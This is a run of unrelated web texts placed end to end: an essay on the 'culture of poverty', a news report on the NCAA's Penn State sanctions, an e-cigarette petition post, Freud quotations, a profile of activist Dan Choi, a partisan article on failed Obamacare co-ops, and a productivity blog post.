continue to slide into poverty from the middle classes, the theory maintains its grip. If you're needy, you must be in need of correction, the assumption goes, so TANF recipients are routinely instructed in how to improve their attitudes, and applicants for a growing number of safety-net programs are subjected to drug-testing. Lawmakers in 23 states are considering testing people who apply for such programs as job training, food stamps, public housing, welfare, and home heating assistance. And on the theory that the poor are likely to harbor criminal tendencies, applicants for safety net programs are increasingly subjected to finger-printing and computerized searches for outstanding warrants. Unemployment, with its ample opportunities for slacking off, is another obviously suspect condition, and last year, 12 states considered requiring pee tests as a condition for receiving unemployment benefits. Both Mitt Romney and Newt Gingrich have suggested drug testing as a condition for all government benefits, presumably including social security. If granny insists on handling her arthritis with marijuana, she may have to starve. What would Michael Harrington make of the current uses of the "culture of poverty" theory he did so much to popularize? I worked with him in the 1980s, when we were co-chairs of Democratic Socialists of America, and I suspect he'd have the decency to be chagrined, if not mortified. In all the discussions and debates I had with him, he never said a disparaging word about the down-and-out or, for that matter, uttered the phrase "the culture of poverty". Maurice Isserman, Harrington's biographer, told me that he'd probably latched onto it in the first place only because "he didn't want to come off in the book sounding like a stereotypical Marxist agitator stuck-in-the-thirties." The ruse – if you could call it that – worked: Michael Harrington wasn't red-baited into obscurity. In fact, his book became a bestseller and an inspiration for President Lyndon Johnson's "war on poverty". But he had fatally botched the "discovery" of poverty. What affluent Americans found in his book, and in all the crude conservative diatribes that followed it, was not the poor, but a flattering new way to think about themselves – disciplined, law-abiding, sober, and focused. In other words, not poor. Fifty years later, a new discovery of poverty is long overdue. This time, we'll have to take account not only of stereotypical Skid Row residents and Appalachians, but of foreclosed-upon suburbanites, laid-off tech workers, and America's ever-growing army of the "working poor". And if we look closely enough, we'll have to conclude that poverty is not, after all, a cultural aberration or a character flaw. Poverty is a shortage of money.Chastising Penn State for "hero worship" and a warped athletic culture, NCAA President Mark Emmert issued a landmark ruling Monday morning, levying unprecedented penalties against the Penn State football program that will cripple its ability to remain competitive on the field for years. Emmert banned Penn State from bowl games for four years, imposed massive scholarship reductions (a total of 40 initial scholarships lost over four years) and fined the school $60 million. Emmert also vacated all of Penn State's victories from 1998 through 2011, meaning former coach Joe Paterno loses 111 wins from what had been a total of 409 victories, the most all time in major college football. The NCAA, which placed Penn State on five years' probation, is reserving the right to investigate and punish individuals implicated in child sex-abuse case until after criminal proceedings. "This is an unprecedented, painful chapter in the history of intercollegiate athletics," Emmert said during a news conference at NCAA headquarters in Indianapolis. The ruling was precedent-setting because Emmert bypassed usual investigative protocol and instead turned to the NCAA executive committee and Division I Board of Directors for the authority to punish Penn State because senior leaders concealed information for years that could have stopped former assistant coach Jerry Sandusky from sexually abusing children. Emmert's actions were swift and decisive, and the boards unanimously supported the sanctions. It was also groundbreaking because of the severity of the penalties. While Emmert and the two boards contemplated suspending the program for at least a season, the sanctions Emmert did impose are likely to be at least as devastating to the football program. In the end, Emmert said he sought sanctions that would not only punish but force Penn State to begin to "rebuild its athletic culture." Emmert sought to minimize the damages to innocent individuals. "We hope we would never, ever see anything of this magnitude or egregiousness again in our lives," Emmert said. "But we do have to make sure that the cautionary tale of athletics overwhelming core values of the institution and losing sight of why we are really participating in these activities can occur. That's the balance that every university needs to strive for." In circumventing the traditional investigation process, Emmert relied on the conclusions of the nearly 300-page report by former FBI director Louis Freeh. Emmert said the report, which drew upon more than 3 million documents, was more comprehensive than any investigation the NCAA ever could have conducted. The NCAA informed Penn State of the penalties it would impose. The university agreed with the sanctions and will not appeal. "The NCAA ruling holds the university accountable for the failure of those in power to protect children and insist that all areas of the university community are held to the same high standards of honesty and integrity," Penn State President Rodney Erickson said in a statement. Regarding the $60 million fine, Erickson said Penn State will pay $12 million a year for the next five years into a special endowment created to fund programs for the detection, prevention and treatment of child abuse. Because Penn State will be ineligible for bowl games — or the Big Ten title game — for the next four years, it will not be eligible to receive its share of the conference's bowl revenues. Estimated to be $13 million, the money will be donated to establish charitable organizations in the Big Ten communities dedicated to the protection of children. The NCAA will also permit current or incoming Penn State football players to transfer without sitting out a season, which is likely to further impede the on-field rebuilding process for first-year coach Bill O'Brien. Said O'Brien in a statement: "Today we receive a very harsh penalty from the NCAA and as Head Coach of the Nittany Lions football program, I will do everything in my power to not only comply, but help guide the University forward to become a national leader in ethics, compliance and operational excellence. I knew when I accepted the position that there would be tough times ahead. But I am committed for the long term to Penn State and our student athletes." O'Brien agreed to a five-year deal in January. According to the version of his contract available on the school website, he can't terminate the contract because of sanctions against the program without giving the school a sizable buyout payment. His base salary this season is $950,000. Some former NCAA investigators and infractions committee chairmen said it was rare, if not unprecedented, for the association to address the Penn State case because it involved a cover-up of criminal activity rather than a violation of traditional NCAA bylaws. Emmert said circumventing the infractions committee was no reflection on the committee or the NCAA's enforcement process. List of winningest coaches NCAA Division I coaches with most career victories after Mondays announcement that 111 of Joe Paternos victories have been vacated by the NCAA: Coach School (s) (years) Win Eddie Robinson Grambling (1941-1997) 408 Bobby Bowden Samford, West Virginia, Florida State (1959-2009) 377 Bear Bryant Maryland, Kentucky, Texas A&M, Alabama (1945-1982) 323 Glenn "Pop" Warner Georgia, Cornell, Carlisle, Pitt, Stanford, Temple (1895-1938) 319 Roy Kidd Eastern Kentucky (1964-2002) 314 Tubby Raymond Delaware (1966-2001) 300 Joe Paterno Penn State (1966-2011) 298 LaVell Edwards Brigham Young (1972-2000) 257 Tom Osborne Nebraska (1973-1998) 255 Frank Beamer Murray State, Virginia Tech (1981-present) 251 reflects wins vacated by NCAA sanctions * active coach "These are extraordinary circumstances," said Ed Ray, the chairman of the executive committee who also spoke at the news conference. "The executive committee has the authority to act on behalf of the entire association in extraordinary circumstances. And we have chosen to exercise that authority … "The cautionary tale is that every major college or university needs to do a gut-check and ask where are we on the appropriate balance between culture and athletics and the broader culture of the university and make certain they got balance right and, if not, they take corrective action." Said Tom Yeager, commissioner of the Colonial Athletic Association and a former chair of the NCAA Committee on Infractions: "It's a new day. What you are going to see is, this action will be subject to question going forward. Anytime there will be something not necessarily a strict NCAA infractions case, all those areas out there, the first question will be whether that falls under that category or not." The scholarship cuts essentially bump Penn State to the scholarship levels of schools in the Football Championship Subdivision. The school will be forced to vacate all wins from 1998-2011, a total of 112, and serve five years of probation. Paterno was fired in November during the scandal after 409 wins at the school. That total is now officially 298. One victory last season came under interim coach Tom Bradley. Florida State's Bobby Bowden, who had 12 wins vacated because of NCAA violations, is now the major college leader with 377 victories. Grambling's Eddie Robinson becomes the Division I leader with 408 wins in 57 seasons, ending in 1997. The Penn State team gathered to watch the NCAA announcement in the Lasch Building. Afterward, players left the football offices without comment to news media assembled there. The NCAA has imposed the so-called death penalty, which essentially shuts down a program for a specified period, on a major college football team just once. And it has taken Southern Methodist more than two decades to recover after it was shut down in the late 1980s following a scandal that involved, among other violations, widespread booster payments to players. But with Penn State's case, the NCAA confronted a scandal unlike any the association had ever seen. The wrongdoing, while egregious, did not reflect traditional violations of NCAA bylaws. And no obvious competitive advantage was gained by the cover-up of criminal activity. Paterno's two national titles remain, but his statue is gone, his reputation is irreparably scarred and the program he built during a 61-year career, 46 as head coach, is left to deal with harsh NCAA sanctions and the pending rulings of ongoing investigations. With the NCAA verdict handed down, Penn State still could face further punitive measures. The Department of Justice and U.S. Department of Education are conducting investigations into the school's actions in relation to the scandal. Contributing: Jack Carey in State College, Pa.Important Update: A petition on Avaaz against the EU ECIG Ban is gaining traction, with over 11,000 signatures at the time of writing. Please sign the petition and share it on social media. Click here to sign the petition now! Are you one of those who think that protesting against the e-cigarette ban, a ban which would force millions back to cigarettes, is useless? It’s easy to think that a huge and bureaucratic EU will take no notice of vapers desperate to defend their right to vape. A post from Dick Puddlecote lends heart, with a copy of an EU daily social media response. · “The European Union ignores science and common sense by making proposals that will damage the health of smokers and vapers”Ecigarette Research (230+ mentions) http://bit.ly/1aT4RIr · “They just don’t get it – Commission proposal for the regulation of e-cigarettes” Counterfactual (210+ mentions) http://bit.ly/1cLmSHV · “Bayer is suing Europe for saving the bees [petition]” SumofUs.org(100+ mentions today) http://goo.gl/ZVSkLY · “Prostitution: We need to see paying for sex as violence rather than vice” Independent (75+ mentions) http://ind.pn/1ekqOki Top hashtags: #ep2014uk (180+ mentions) #eu (100+ mentions) #ep2014 (80+ mentions) #ecigs (75+ mentions) A follow up e-mail received this afternoon simply said: “Same again today”. Source: Dick Puddlecote As Dick points out, the EU is run by politicians, and politicians care about votes. Estimates of UK vapers varies between 1.2 and 2 million. Europe wide, it’s likely to be a lot more. And as our poll suggested, many vapers are willing to change their vote to defend their right to vape. And all that at a time when a referendum on EU membership could be approaching. Protesting against the ban on social media, especially Twitter, does make a difference. And even better, the EU gives us the hashtags they are monitoring (#ecigs and #EU). (To follow what is happening on Twitter, you should also follow the hashtag #euecigban: Tweets about “#euecigban” ). So what are you waiting for – get tweeting 😉 I leave you with a video by David Dorn, explaining how the legislation would ban ALL ecigarettes AND non-retailer information services.Being entirely honest with oneself is a good exercise. Psychoanalysis... should find a place among the methods whose aim is to bring about the highest ethical and intellectual development of the individual. Sigmund Freud ([ˈziːgmʊnt ˈfrɔʏ̯t]; 6 May 1856 – 23 September 1939) was an Austrian neurologist and psychiatrist and the founder of the psychoanalytic school of psychology. He was the father of Anna Freud and the grandfather of Sir Clement Freud and Lucian Freud. Quotations [ edit ] No one who, like me, conjures up the most evil of those half-tamed demons that inhabit the human beast, and seeks to wrestle with them, can expect to come through the struggle unscathed. The act of birth is the first experience of anxiety, and thus the source and prototype of the affect of anxiety. What progress we are making. In the Middle Ages they would have burned me. Now they are content with burning my books 1880s [ edit ] How bold one gets when one is sure of being loved. Letter to his fiancée Martha Bernays (27 June 1882); published in Letters of Sigmund Freud 1873-1939 (1961), 10-12 Woe to you, my Princess, when I come... you shall see who is the stronger, a gentle girl who doesn't eat enough or a big wild man who has cocaine in his body. Letter to his
was actively serving. He agreed to appear via satellite from Orange County. That evening, Kanis, Dan, and Sue Fulton, a Knights Out board member who worked in brand management, spent an hour on the phone settling on talking points. The message they came up with drew from Dan’s biography. At West Point, he and other cadets lived by the honor code: “A cadet will not lie, cheat, steal, or tolerate those who do.” By forcing him to lie about his sexual orientation, “don’t ask, don’t tell” dishonored the military values he swore to uphold. Knights Out had come to fulfill the law, not to abolish it. Through his earpiece, Dan could hear Maddow start the segment. He didn’t know how many people watched the show—Fulton didn’t find it necessary to tell him—but his fellow Knights Out members would be. No doubt some of the soldiers in his National Guard unit would also catch the program. He tried to keep his hands still as Maddow introduced him: “Joining us now is Dan Choi. He’s a founding member of the Knights Out organization, a graduate of West Point, and he is an Iraq combat veteran.” “Wonderful to be here. I love your show, Rachel,” Dan said. In his newly pressed gray suit, he looked boyish and wholesome. “By saying three words to you today, ‘I am gay’—those three words are a violation of title 10 of the U.S. code.” The talking points came back to him. “It’s an immoral code, and it goes against every single thing that we were taught at West Point with our honor code,” he said, picking up steam. “The honor code says that a cadet will not lie, cheat, steal—” Suddenly, the sound cut out, leaving Dan miming his words. Maddow announced a commercial break while the producers tried to restore the audio, but they were unable to. She promised to have Dan on the next day. When Dan called Fulton from outside the studio, he was crushed. She, on the other hand, was ecstatic. “You don’t understand,” she said. “We get two hits—two nights!” The next evening, Dan was more self-assured, joking with Maddow: “I think we all understand your agenda was just to make this appearance tonight the second time in my life that I actually wore some makeup.” In two minutes, he covered everything he had practiced with Fulton and Kanis, breaking into Arabic as photos of him in Iraq glided across the screen. At the beginning of the segment, Maddow had asked if he realized that he was putting everything on the line by appearing on her show. “Is there a possibility … you could be at risk of getting kicked out of the service because you are doing this?” The major gay-rights organizations, which had done little to publicize the formation of Knights Out, were eager to work with Dan after his television appearance. When the Army instituted discharge proceedings against him, Dan turned to the Servicemembers Legal Defense Network. During the Clinton and Bush years, the group had served primarily as a support organization, but with President Obama now in the White House, it had begun to take a more visible role in the repeal effort. In addition to providing Dan with legal counsel, the group prepped him with talking points and helped secure bookings. Dan was thankful. With only one communications person, Knights Out didn’t have sufficient staff. The relationship with SLDN didn’t last long. Dan refused to wear the group’s lapel pin on the air. He also had an ideological disagreement. The defense network advised some gay and lesbian soldiers to remain in the closet. Dan had concluded that coming out was a moral obligation. Three months after Maddow, he told SLDN that Sue Fulton would be handling his press. For a while, it seemed anytime the repeal effort made the news, Dan was asked to come on TV. He appeared on ABC News, NBC Nightly News, CBS, and Al-Jazeera. Anderson Cooper 360 filmed a special, following Dan around his parents’ house. Being driven from one interview to another, waiting in greenrooms before doing a “hit”—TV lingo for a stint on the air—was heady. So was receiving letters from closeted members of the military and getting stopped on the street by strangers and being thanked for his courage and serving as grand marshal of the San Francisco Pride Parade. Dan quit the gay men’s chorus and withdrew from his community-college courses. With tension building at home—his father had a heart attack in the spring, which his mother blamed on Dan—he moved out of his parents’ house and started couch surfing in Los Angeles, Boston, New York, and Washington, D.C. Most of Knights Out’s leadership was supportive of Dan’s increasing notoriety, but not all. “This is becoming the Dan Choi show,” L. Paul Morris told the group on a conference call. “Dan had always been a diva,” says William Cannon, his friend from Fort Drum, “but was less obvious about it until the activism.” Dan signed with Gotham Artists to book speaking gigs for him. He once demanded that MSNBC send in a barber to give him a haircut before an appearance, which the network did, and would ask drivers sent by the studio to help him run errands. He broke up with Matthew, saying he had to dedicate himself entirely to the movement. In an e-mail, he told a friend that he was “exhausted emotionally, spiritually and even physically. Any resources you could recommend would be most helpful.” Dan’s behavior began to worry his family and friends. On one occasion when he received an e-mail death threat, he called the person up and screamed, “I’ll kill you first! I’ll give you AIDS first!” Dan started telling people that, like Martin Luther King Jr. or Malcolm X, he would have to die for his cause. Drinking emboldened him, and the drinking was getting worse. “The Salvation Army hates gays!” he yelled at a volunteer in Harvard Square after a night of throwing back Jäger shots. “He was so used to being interviewed that he had no identity anymore,” says Sarah Haag-Fisk, a classmate at West Point and a member of Knights Out. When she and Dan spent time together, “it almost seemed like he was giving me lines." “He was so used to being interviewed that he had no identity anymore,” says Sarah Haag-Fisk, a classmate at West Point and a member of Knights Out. When she and Dan spent time together, “it almost seemed like he was giving me lines,” she says. “This was not the Dan I had known. He was becoming untethered. It was very difficult to tell him that he should slow down a little bit.” For Dan, this was the equivalent of saying gays and lesbians should wait for their rights. Laura Cannon, who was a year ahead of him at West Point, reconnected with Dan after the Maddow show. At first, she thought his involvement in the repeal effort was “a healthy amount of participation.” But the toll of being a public figure—of always being on—soon became apparent. “I saw it completely deplete him,” she says. In August 2009, five months after the Maddow interview, Dan went on Facebook and changed his profession. He was no longer a soldier. He was an activist. But many of the qualities that worried Dan’s old friends—his tendency toward melodrama, his equating himself with the movement—also made him brilliant at attracting attention to the cause. After the Army finally discharged him for violating “don’t ask, don’t tell,” he burned his notice during a talk at Harvard. At Netroots Nation, a yearly gathering of progressives, he arranged for organizers to give his West Point ring to Senate Majority Leader Harry Reid. Dan pledged to hold Reid accountable in an open letter: “My promise is not merely written on a piece of paper or words alone, but in the hearts of every lesbian, gay, bisexual or transgender American fired from their jobs.” It was exactly those qualities, though, that inspired a new set of friends: radical activists who believed that the only way to persuade the country to repeal “don’t ask, don’t tell” was with sit-ins, hunger strikes, and other direct action. They, along with Dan, took aim at the big gay-rights organizations, most of all the Human Rights Campaign (HRC), the largest and the best funded. The bulk of HRC’s work occurred behind the scenes, where leaders met with the president, White House officials, and lawmakers. In the spring of 2010, with Congress seriously considering repeal for the first time—the Senate was scheduled to hold hearings, and the National Defense Authorization Act was coming up for renewal—Dan accused the HRC of being too cautious and deferential. “Within the gay community, so many leaders want acceptance from polite society,” Dan told Newsweek. “Gandhi did not need three-course dinners and a cocktail party to get his message out.” On March 18, the HRC brought comedian Kathy Griffin, star of the reality television series My Life on the D-List, to speak with legislators about “don’t ask, don’t tell” on Capitol Hill and headline a rally on Freedom Plaza. Dan asked HRC president Joe Solmonese if he could speak, but was told it was Griffin’s rally. To the surprise of organizers, she welcomed Dan to the podium. For the second time, Dan had dressed in his uniform at a political event, which is prohibited by military code. “Our fight isn’t actually just here at Freedom Plaza,” he told the crowd. “Our fight is at the White House. Will you join me?” He called out Griffin and Solmonese, asking if they would march with him. Dan and a dozen participants strode up Pennsylvania Avenue chanting, “Hey hey, ho ho, ‘don’t ask, don’t tell’ has got to go.” Griffin and Solmonese stayed behind to talk with reporters. At the White House, Dan and James Pietrangelo, an Army captain who had been kicked out under “don’t ask, don’t tell,” handcuffed themselves to the northern gate. They spent the night in jail. The protest, which Dan would reprise twice in the coming months, laid bare the fault lines in the gay-rights movement. The major gay blogs—AmericaBlog, Pam’s House Blend, Queerty, Towleroad, Joe. My. God.—cheered him on. So did the grassroots activists, who blasted the HRC. The organization posted a note on its blog saying that Solmonese “felt it was important to stay and engage those at the rally in ways they can continue building the pressure needed for repeal” but that “this [did] nothing to diminish the actions taken by Lt. Choi and others.” Knights Out said that while it shared in the spirit of the protest, it did not condone Dan’s actions. In response, Dan quit Knights Out, further shrinking his circle to diehard activists. “We were part of the gay civil-rights movement,” says Pietrangelo. “He did what the freedom marchers did: Gave a face to the suffering and showed how society was harming gay people.” The West Pointers thought he had lost his sense of proportion. “He was surrounded by those he considered friends—folks in the movement, people who can’t self-evaluate,” Haag-Fisk says. The House of Representatives passed the Murphy Amendment to the National Defense Authorization Act on May 27. The amendment provided for a repeal of “don’t ask, don’t tell” after the Pentagon conducted a study and certified that lifting the ban on gays and lesbians would not harm the military. The deadline for the study was December 1. This wasn’t good enough for Dan. Calling for Congress to repeal the policy immediately, he and Pietrangelo went on a hunger strike. After seven days, the pair gave in to supporters expressing concern for their health. Dan released a statement pledging to resume the strike “using the proper safeguards to ensure [his] health” but never did. Over the summer and fall, Dan took on a relentless round of public appearances, but he was increasingly depressed. Some days, he was convinced that repeal would never pass. Others, he was convinced he would have to die for it to happen. By November, couch surfing had landed him at the Boston apartment of Laura Cannon, his old friend from West Point. She was shocked by how burned out he was. The Senate took up the National Defense Authorization Act, with a repeal of “don’t ask, don’t tell” attached, on December 9. Dan was in Cannon’s apartment, watching on TV. Harry Reid called for cloture, which would allow the bill to come to a vote, but it failed to overcome a Republican filibuster. Dan felt all his work had been for nothing. He got drunk and stoned while Cannon and her husband slept. When she saw him in the morning, Dan was still on the couch in front of the TV, speaking in fragments, muttering to himself, screaming obscenities, bursting into sobs. Now and then, he was mute, retreating to his bedroom with a bottle of scotch. He agreed to let her drive him to a VA hospital. From there, Dan released a statement: “My breakdown was a result of a cumulative array of stressors but there is no doubt that the composite betrayals felt on Thursday, by elected leaders and gay organizations as well as many who have exploited my name for their marketing purposes have added to the result.” Eight days later, on December 18, the Senate repealed “don’t ask, don’t tell” and sent the bill to President Obama. United States v. Dan Choi. He liked the sound of it. At a little past 1 P.M. on November 15, one month before the repeal, Dan and 12 activists handcuffed themselves to the White House fence. They were charged with violating a minor U.S. Park Police regulation, “failure to obey a lawful order.” Civil-disobedience infractions are almost always tried in municipal court and typically dismissed, but the U.S. attorney general’s office pursued the allegation at the federal level. The 13 were offered a plea. If they admitted guilt, they’d face no consequences after four months without an arrest. Conviction, on the other hand, carried a maximum penalty of six months in jail and a $5,000 fine. Everyone but Dan took the deal. For two and a half years, the trial became his cause. He moved to the Newseum Residences because the building was around the corner from the courthouse. Dan’s self-narrative is under constant revision, which is a way of saying I’m never sure whether to believe him, if the version of events he’s presented is the final. When we first met, he told me he pursued the case because if the First Amendment doesn’t apply at the foot of the White House, it doesn’t apply anywhere. Another time, he told me that he wanted to lose so the proceedings could make it into case law; once a suit is appealed, it is woven into the legal record, becoming part of the constellation of rulings that guides lawyers and judges. Dan wanted to be among the stars. The hundreds of pages of briefs and transcripts from the court proceedings contain the law’s usual mix of minutiae and grandiloquence. There is the question of whether Dan was standing on the sidewalk or on the base of the White House fence. Much discussion was devoted to the cost of the handcuffs, how many there were, who bought them, what happened after Park Police took them away, and who had the keys. Lawyers quibbled over Dan’s title—“mister,” since he was no longer in the military, or “lieutenant”? (The prosecutor was asked to address him by his rank.) In almost three hours of testimony on the second day of the trial, on August 30, 2011, Dan recounted his life story and declared that although he and the 12 others might have blocked the view of the White House, they had replaced it “with a better view—a view of freedom because this is what equality looks like.” He invoked the ghosts of civil disobedience: “Even if you have a quiver in your voice, you should speak up as loud as you can if you really believe that your cause is a righteous one. And so, I told everybody with the full righteousness of the winds behind your back of civil rights and human progress and Jesus and Gandhi and Alice Paul, and all of those people who fought for their dignity, you should yell as loud as possible.” Dan’s supporters sat enraptured. “It was as if, by speaking those magnificent, majestic truths,” says Pietrangelo, one of the 12 arrested, “he was vanquishing all the discrimination, bigotry, and pain that gay people had been suffering.” On Twitter, 20,000 followers spurred him on. The trial didn’t catch the attention of the mainstream media, but it was covered in the blogosphere. Firedoglake compiled an archive of documents, and Towleroad provided reports up to the minute. Over the next 15 months, with motions being filed, Dan posted on his site and sent out his newsletter, Frontlines. He gave talks to make ends meet. But he was also skipping appointments with his psychiatrist and drinking heavily. He talked about taking a break, getting away. He told friends that a black van parked across from his building belonged to the Secret Service. A month before the trial resumed, Dan fired his lawyers. He’d been reading about the law for more than a year—to understand what was going on—and decided he knew enough to hold his own. “There’s no greater empowering moment than to stand before the judge and let them hear your own voice,” he told the Washington Blade. Dan made sure the turnout for the final phase, in March 2013, was big. He flew in his brother, sister, and cousin Sandra. Leaders from major gay-rights organizations were there. So was his old Army friend William Cannon. He didn’t get to talk to Dan much. They shared a cigarette before marching with a group of about 50 people to the courthouse. Dan kept drifting away, mumbling incoherently. “My friend Dan that I knew in Iraq and New York was gone,” Cannon says. “He had this cause he was so dedicated to.” Dan called four witnesses to testify, then showed a video of his Rachel Maddow interview. While it played, he wept. “The defense rests!” he announced, putting his head down on the table and throwing up his arm. The judge called for a recess; Dan lay on the floor and shouted obscenities. In the afternoon, the prosecution delivered a brief closing argument. Dan gave a 40-minute speech. Raving and disjointed, it was a broken mirror of the life story he had told six months earlier. When the judge found him guilty and fined him $100, Dan cried out, “I refuse to pay it. Send me to jail!” Instead, friends took him to the emergency room of Washington, D.C.’s VA Medical Center, where he was admitted to the psychiatric ward. Forrest MacCormack The trial laid Dan bare. His passion. His penchant for inflamed rhetoric. His ability to attract followers. His solipsism. His vulnerability. On a few occasions, Dan has told me the trial was a plea for help. “I didn’t know what to do with myself after ‘don’t ask, don’t tell’ was repealed,” he says. Other times, he finds his nerve. “I just want them to apologize to me in open court—that’s all.” When he’s being introspective, he wonders aloud about what’s next. Maybe he’ll become a teacher, he says. Or he could study vocal music. He took the LSAT a while back, so he could go to law school. Sometimes he says he wants to quit activism, but then he’ll accept an invitation to speak at another rally. A few things I am certain of. Washington can make people, even those who fight for human rights, lose their humanity. It gets covered up with talking points, strategy, branding. At the height of Dan’s celebrity, few in the repeal movement pulled him aside and said, “All this doesn’t matter more than you do. Let’s go home.” Maybe that’s because he’d cut himself loose from the people who cared enough to tell him he was losing himself—people like Grace, Isaac, Sandra, William Cannon, Sarah Haag-Fisk, and Laura Cannon. None of this is to say Dan would have listened. He had fallen in love with his own martyrdom. He had conflated activism with celebrity. Dan’s story runs in my head like an episode of E! True Hollywood Story. He starts out naïve and precocious. He rises. He succumbs to the pressure—all those interviews, rallies, fan letters, expectations. But instead of playing out on Bravo or in the pages of Us Weekly, it played out on MSNBC and in The Advocate. What I have to keep reminding myself is that by speaking when no one else would, Dan Choi did a good and courageous thing, and in part because of it, gays and lesbians can now serve openly in the military.More than half of the government-funded nonprofit health insurers created by Obamacare have failed, sticking taxpayers with a $1.2 billion tab and leaving hundreds of thousands of people in more than a dozen states scrambling for medical coverage, a new federal audit reveals. The nonprofit insurers are known as Consumer Operated and Oriented Plan Program (CO-OP) and the Department of Health and Human Services (HHS) has pumped $2.4 billion into them under the president’s hostile takeover of the nation’s healthcare system. Congress initially allocated $6 billion for the Obamacare CO-OP program, with the goal of establishing CO-OPs in all 50 states as well as the District of Columbia. Thankfully, subsequent legislation slashed funding for the ill-fated experiment. In all, HHS has funded 23 of these dubious enterprises and 12 have already gone under after losing an astounding $1.2 billion that’s unlikely to ever be recovered. As a result 740,000 people in 14 states must search for new medical coverage they thought they had under the disastrous Obamacare plan. Every resident of the United States who pays taxes should be outraged by this monstrous failure, exposed in great detail in a scathing report published by the Senate Homeland Security and Governmental Affairs Committee. The committee’s probe reveals that, even when the CO-OPs showed clear signs of financial failure, HHS kept giving them huge amounts of money in the form of “loans” the agency knew would never be repaid. In fact, HHS officials knew of serious problems with enrollment strategies, financial forecasts, management and pricing before approving the first loan, according to the panel’s findings. “HHS approved the failed CO-OPs despite receiving specific warnings from a third-party analyst about weaknesses in their business plans,” the report states. The CO-OPs ultimately racked up a breath-taking $376 million in losses in 2014 and more than $1 billion in losses in 2015 yet the cash kept flowing. HHS knew how serious the problem was, according to the report, yet kept filling the CO-OP’s coffers. By the end of 2014, the 12 collapsed insurance nonprofits had already exceeded their projected worst-case-scenarios by more than $263 million, four times more than what they initially projected. Incredibly, that didn’t stop Obama’s minions at HHS from doling out another $848 million even as the CO-OPS were on a downhill spiral. “Even though HHS was aware of serious financial distress suffered by the CO-OPs in 2014, it failed to take any corrective action or enhance oversight for more than a year,” the senate investigation found, confirming that the health agency “regularly received key financial information from the CO-OPs” that clearly showed the failed insurers “experienced severe financial losses that quickly exceeded even the worst-case loss projections.” For example the Kentucky CO-OP lost $50.4 million in 2014 yet went on to get enough taxpayer money to lose another $114 million the following year before ultimately collapsing, according to the report. When the Kentucky CO-OP went under its operating losses exceeded $163 million. Another example listed by the panel is the New York CO-OP, which lost an egregious $634 million in two years. The Illinois CO-OP lost $90 million. Even Maine’s CO-OP, which made $7.3 million in 2014, went on to lose $74 million the following year. Maryland’s CO-OP was the most successful of the remaining government-funded insurers and it lost a startling $10.8 million. A number of other examples of this massive boondoggle are listed throughout the report, which cites previous audits by different government entities documenting the many failures the Obamacare CO-OP program. “The financial toll of this failed experiment is much steeper than has been previously reported,” according to this latest audit, which took nearly a year to be completed. “The twelve closed CO-OPs ran up more than $1.4 billion in losses over just the two years they sold plans. Based on the latest balance sheets obtained by the Subcommittee, the failed CO-OPs currently estimated non-loan liabilities (including unpaid medical bills) exceed $1.13 billion—which is 93% greater than their $585 million in reported assets. In addition, the CO-OP’s debt to the U.S. government stands at over $1.2 billion. Prospects for repayment are dim.” Indeed, American taxpayers have once again been cheated.Reddit Share 22 Shares “We are in control of the one asset that we all give the most f#%ks about, and that is time.” – Gary Vaynerchuk Do you work a full-time job but struggle to find time for side-projects or your part-time business? You work 9-5 and come home motivated to work but often lack the energy to do anything. This is the reality for so many people out there (including myself at times). We live in an age where more and more people are starting up businesses and transitioning to work for themselves. It’s more and more common to come across the “part-time entrepreneur” or “side-hustler” in the workplace. But being this person isn’t easy – you’ve got to balance your responsibilities at work, family life, spending time with your family, keep up with friends and somehow find time to build a side-business that can take over your full-time job. In this episode of The Productivity Podcast, I talk about productivity tips for part-time entrepreneurs. Listen below! Make sure you head on over to iTunes and subscribe to the podcast. You can also subscribe via the RSS feed. Are you enjoying The Productivity Podcast? I'd love to hear from you in the comments below with your thoughts and ideas of things you'd like to hear more about! Building a business while working a full-time job is tough, the good news is that it’s possible and people do it every single day! I’m currently facing this challenge as well. I work a day job as a Marketing Gorilla at Mighty Ape and during my spare time I’m growing this website which one day is going to support me and my wife Hayley. Detailed below is my advice for battling with these challenges and growing your side-business. These tips have come from my own experiences and are things that have worked for me. If you have other tips for building a part-time business then I’d love to hear them in the comments below. BONUS: This awesome article was posted on Shopify earlier this week. I was actually already writing this post when this came out. Great ideas in here none the less! Grab a tea or coffee and let’s get into it… 1. Start Now! This first piece of advice is for those people who are only thinking about doing something on the side. If you haven’t quite decided what you’d like to do or have some hesitations about committing to an idea, my advice is this – start now! If you don’t know what you want to do, set up a website and start writing about your interests (this is how I started. Go back and look at my early posts if you like). Share these posts with your friends and you’ll get a better sense of what you enjoy writing about, what you’re good at and how you can help people. In doing this, you’re going to start building an audience, which is going to be crucial when it’s time to market your product or service. With anything that you’d like to do, whether it has anything to do with building a website or not, I guarantee it’s going to take longer than you plan. So start now! The sooner you start, the sooner you’ll learn, the sooner you’ll succeed. Check out this episode from The Fizzle Show which outlines some great tips for getting started on your business. 2. Create a Strong Vision of Where You Want to Be Building your side-business is going to be tough. It takes real patience, determination and commitment. There are going to be times when you question everything you’re doing and you’re going to want to give up. Don’t do this! Instead, create a clear vision of what you want your life to look like and remind yourself of what you’re working towards. I ask people to do this in the first few days of my 7-Day Productivity Plan. Not only does creating this vision motivate you, it helps you measure your productivity. It lets you evaluate whether the tasks you’re working on are advancing you towards your goals. 3. Share Your Vision to Create Accountability After you create this vision of what you want your business to look like and where you want your life to be, share it with your friends and family. When you do this it helps create a sense of accountability. In other words you don’t want to look like a failure or appear as someone who doesn’t keep their word, so you work harder to achieve your goals. The other great thing about sharing your goals is the more you talk about your goals and vision, the better you can articulate it and the clearer it becomes in your head. The clearer it gets the better you can work towards it as you filter distractions and focus on the things that really matter. 4. Utilise the Morning Before Work When you work a 9 – 5 job, your time is precious. When you spend 40 hours a week working that’s a third of your time gone. When another third (roughly) is dedicated to sleep, that leaves only a third for everything else you want to do – spending time with the family, socialising with friends, chilling out, reading and of course, building your business. For this reason, I highly recommend you take advantage of the early hours of the morning to get some real work done. It’s a great time of day when you can pretty much guarantee you won’t be distracted. I also find it’s easier to concentrate during this time as you wake up with a full tank of brain power. Learn more about why waking up early is hyper-productive. [ctt title=”The madness of mornings is a key reason most of us believe we have no time!” tweet=”“The madness of mornings is a key reason most of us believe we have no time” via @paulminors @lvanderkam” coverup=”e3Uc5″] Author and productivity guru Laura Vanderkam advocates this idea in her best-selling book “What the Most Successful People Do Before Breakfast” (check out my book summary for a quick rundown of this book). 5. Plan Your Week Ahead This one is easy – plan your week in advance. Because you’re juggling so many balls at once; work, family, friends and a business, you need to allocate enough time for each area of your life and ensure you don’t double book appointments. When planning the week ahead, I recommend you 1) think about the 1 or 2 key things you’d like to 